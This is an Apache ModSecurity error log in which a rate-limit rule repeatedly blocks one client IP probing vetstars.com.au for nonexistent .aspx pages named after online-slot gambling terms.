[Tue Mar 17 07:06:08.376365 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:51420] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abiM4H-nCcd9BdzGdLcZZwAAANE"]
[Tue Mar 17 07:06:08.741520 2026] [:error] [pid 22541:tid 22566] [client 51.83.238.207:51426] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abiM4KS6JNY1-CTsTA8EYgAAARQ"]
[Tue Mar 17 07:06:09.558329 2026] [:error] [pid 45917:tid 45992] [client 51.83.238.207:51436] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abiM4RMMhmeqL5fT_hedBAAAAIM"]
[Tue Mar 17 07:06:10.050749 2026] [:error] [pid 45916:tid 45968] [client 51.83.238.207:51448] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abiM4riS53PnClk_C9ACaAAAAEY"]
[Tue Mar 17 07:06:12.231844 2026] [:error] [pid 45917:tid 46007] [client 51.83.238.207:51462] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abiM5BMMhmeqL5fT_hedCwAAAJI"]
[Tue Mar 17 07:06:13.430252 2026] [:error] [pid 46020:tid 46035] [client 51.83.238.207:51486] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abiM5X-nCcd9BdzGdLcZcgAAAM0"]
[Tue Mar 17 07:06:13.734073 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:51480] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abiM5X-nCcd9BdzGdLcZcwAAANY"]
[Tue Mar 17 07:06:13.877106 2026] [:error] [pid 46020:tid 46046] [client 51.83.238.207:51470] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abiM5X-nCcd9BdzGdLcZdAAAANg"]
[Tue Mar 17 07:06:14.307169 2026] [:error] [pid 45915:tid 45938] [client 51.83.238.207:51498] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abiM5ph7U84ydzcrcncO_QAAAAk"]
[Tue Mar 17 07:06:16.537381 2026] [:error] [pid 46020:tid 46029] [client 51.83.238.207:51502] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abiM6H-nCcd9BdzGdLcZgwAAAMc"]
[Tue Mar 17 07:06:17.141899 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:51514] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abiM6X-nCcd9BdzGdLcZhQAAANE"]
[Tue Mar 17 07:06:17.394963 2026] [:error] [pid 22541:tid 22549] [client 51.83.238.207:51546] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abiM6aS6JNY1-CTsTA8EhQAAAQM"]
[Tue Mar 17 07:06:17.896378 2026] [:error] [pid 46020:tid 46035] [client 51.83.238.207:51530] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abiM6X-nCcd9BdzGdLcZiAAAAM0"]
[Tue Mar 17 07:06:18.578285 2026] [:error] [pid 45916:tid 45983] [client 51.83.238.207:52528] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abiM6riS53PnClk_C9ACgAAAAFU"]
[Tue Mar 17 07:06:20.853409 2026] [:error] [pid 22541:tid 22567] [client 51.83.238.207:52542] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abiM7KS6JNY1-CTsTA8EjAAAARU"]
[Tue Mar 17 07:06:20.907349 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:52556] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abiM7H-nCcd9BdzGdLcZkAAAANQ"]
[Tue Mar 17 07:06:21.457791 2026] [:error] [pid 45916:tid 45974] [client 51.83.238.207:52548] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abiM7biS53PnClk_C9AChwAAAEw"]
[Tue Mar 17 07:06:22.154992 2026] [:error] [pid 22541:tid 22549] [client 51.83.238.207:52572] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abiM7qS6JNY1-CTsTA8ElAAAAQM"]
[Tue Mar 17 07:06:22.359101 2026] [:error] [pid 45916:tid 45976] [client 51.83.238.207:52586] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abiM7riS53PnClk_C9ACjgAAAE4"]
[Tue Mar 17 07:06:23.621506 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:52600] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abiM73-nCcd9BdzGdLcZmQAAAM4"]
[Tue Mar 17 07:06:24.981000 2026] [:error] [pid 45917:tid 46010] [client 51.83.238.207:52608] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abiM8BMMhmeqL5fT_hedHgAAAJU"]
[Tue Mar 17 07:06:25.667586 2026] [:error] [pid 45917:tid 46001] [client 51.83.238.207:52616] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abiM8RMMhmeqL5fT_hedHwAAAIw"]
[Tue Mar 17 07:06:27.027332 2026] [:error] [pid 45917:tid 46013] [client 51.83.238.207:52630] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abiM8xMMhmeqL5fT_hedIwAAAJg"]
[Tue Mar 17 07:06:27.114988 2026] [:error] [pid 22541:tid 22565] [client 51.83.238.207:52642] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abiM86S6JNY1-CTsTA8EmQAAARM"]
[Tue Mar 17 07:06:28.037560 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:52644] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abiM9KS6JNY1-CTsTA8EowAAARY"]
[Tue Mar 17 07:06:29.897769 2026] [:error] [pid 46020:tid 46035] [client 51.83.238.207:57490] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abiM9X-nCcd9BdzGdLcZqQAAAM0"]
[Tue Mar 17 07:06:29.991942 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:57488] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abiM9X-nCcd9BdzGdLcZqgAAAM4"]
[Tue Mar 17 07:06:30.293724 2026] [:error] [pid 45916:tid 45962] [client 51.83.238.207:57502] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abiM9riS53PnClk_C9ACnwAAAEA"]
[Tue Mar 17 07:06:31.796965 2026] [:error] [pid 46020:tid 46043] [client 51.83.238.207:57506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abiM93-nCcd9BdzGdLcZsQAAANU"]
[Tue Mar 17 07:06:33.752205 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:57514] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abiM-aS6JNY1-CTsTA8EqgAAARI"]
[Tue Mar 17 07:06:34.378429 2026] [:error] [pid 45915:tid 45944] [client 51.83.238.207:57524] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abiM-ph7U84ydzcrcncPEgAAAA8"]
[Tue Mar 17 07:06:34.443224 2026] [:error] [pid 22541:tid 22556] [client 51.83.238.207:57518] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abiM-qS6JNY1-CTsTA8EqwAAAQo"]
[Tue Mar 17 07:06:34.937105 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:57530] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abiM-n-nCcd9BdzGdLcZuQAAANY"]
[Tue Mar 17 07:06:37.286033 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:57536] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abiM_X-nCcd9BdzGdLcZwAAAAMs"]
[Tue Mar 17 07:06:37.932281 2026] [:error] [pid 22541:tid 22550] [client 51.83.238.207:57560] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "abiM_aS6JNY1-CTsTA8EsQAAAQQ"]
[Tue Mar 17 07:06:38.307451 2026] [:error] [pid 45917:tid 46010] [client 51.83.238.207:57546] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abiM_hMMhmeqL5fT_hedMAAAAJU"]
[Tue Mar 17 07:06:40.107340 2026] [:error] [pid 45915:tid 45931] [client 51.83.238.207:47034] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abiNAJh7U84ydzcrcncPFAAAAAI"]
[Tue Mar 17 07:06:40.714044 2026] [:error] [pid 45917:tid 45989] [client 51.83.238.207:47044] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abiNABMMhmeqL5fT_hedNQAAAIA"]
[Tue Mar 17 07:06:41.892286 2026] [:error] [pid 45917:tid 45993] [client 51.83.238.207:47056] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abiNARMMhmeqL5fT_hedNgAAAIQ"]
[Tue Mar 17 07:06:42.310087 2026] [:error] [pid 45916:tid 45976] [client 51.83.238.207:47066] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abiNAriS53PnClk_C9ACqgAAAE4"]
[Tue Mar 17 07:06:43.134374 2026] [:error] [pid 45917:tid 45998] [client 51.83.238.207:47082] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "abiNAxMMhmeqL5fT_hedOQAAAIk"]
[Tue Mar 17 07:06:43.719048 2026] [:error] [pid 22541:tid 22557] [client 51.83.238.207:47094] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abiNA6S6JNY1-CTsTA8EwwAAAQs"]
[Tue Mar 17 07:06:44.873853 2026] [:error] [pid 45917:tid 45991] [client 51.83.238.207:47108] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abiNBBMMhmeqL5fT_hedOgAAAII"]
[Tue Mar 17 07:06:45.886346 2026] [:error] [pid 22541:tid 22551] [client 51.83.238.207:47114] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abiNBaS6JNY1-CTsTA8E0AAAAQU"]
[Tue Mar 17 07:06:47.119813 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:47130] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "abiNB3-nCcd9BdzGdLcZ1QAAANQ"]
[Tue Mar 17 07:06:47.644354 2026] [:error] [pid 45917:tid 46013] [client 51.83.238.207:47134] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abiNBxMMhmeqL5fT_hedPQAAAJg"]
[Tue Mar 17 07:06:48.534219 2026] [:error] [pid 45917:tid 45997] [client 51.83.238.207:49506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "abiNCBMMhmeqL5fT_hedPgAAAIg"]
[Tue Mar 17 07:06:48.725144 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:49514] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abiNCKS6JNY1-CTsTA8E0wAAAQw"]
[Tue Mar 17 07:06:50.096332 2026] [:error] [pid 45916:tid 45980] [client 51.83.238.207:49524] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "abiNCriS53PnClk_C9ACtQAAAFI"]
[Tue Mar 17 07:06:50.458107 2026] [:error] [pid 22541:tid 22567] [client 51.83.238.207:49530] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "abiNCqS6JNY1-CTsTA8E3QAAARU"]
[Tue Mar 17 07:06:51.322151 2026] [:error] [pid 45915:tid 45933] [client 51.83.238.207:49546] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "abiNC5h7U84ydzcrcncPHQAAAAQ"]
[Tue Mar 17 07:06:51.666953 2026] [:error] [pid 46020:tid 46041] [client 51.83.238.207:49562] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "abiNC3-nCcd9BdzGdLcZ9AAAANM"]
[Tue Mar 17 07:06:52.408480 2026] [:error] [pid 45917:tid 45993] [client 51.83.238.207:49564] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abiNDBMMhmeqL5fT_hedSwAAAIQ"]
[Tue Mar 17 07:06:54.427777 2026] [:error] [pid 46020:tid 46040] [client 51.83.238.207:49572] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "abiNDn-nCcd9BdzGdLcaGQAAANI"]
[Tue Mar 17 07:06:54.633114 2026] [:error] [pid 46020:tid 46031] [client 51.83.238.207:49584] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abiNDn-nCcd9BdzGdLcaGgAAAMk"]
